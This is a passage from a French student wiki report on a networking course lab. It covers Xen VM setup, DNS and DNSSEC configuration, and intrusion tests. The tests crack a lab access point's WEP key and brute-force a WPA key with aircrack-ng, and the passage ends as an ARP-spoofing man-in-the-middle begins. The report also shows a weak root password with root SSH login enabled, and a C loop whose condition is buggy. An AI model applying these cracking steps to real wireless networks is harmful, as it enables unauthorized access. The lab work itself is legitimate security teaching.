Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54565</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54565"/>
				<updated>2020-12-14T15:53:22Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Partie commune */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
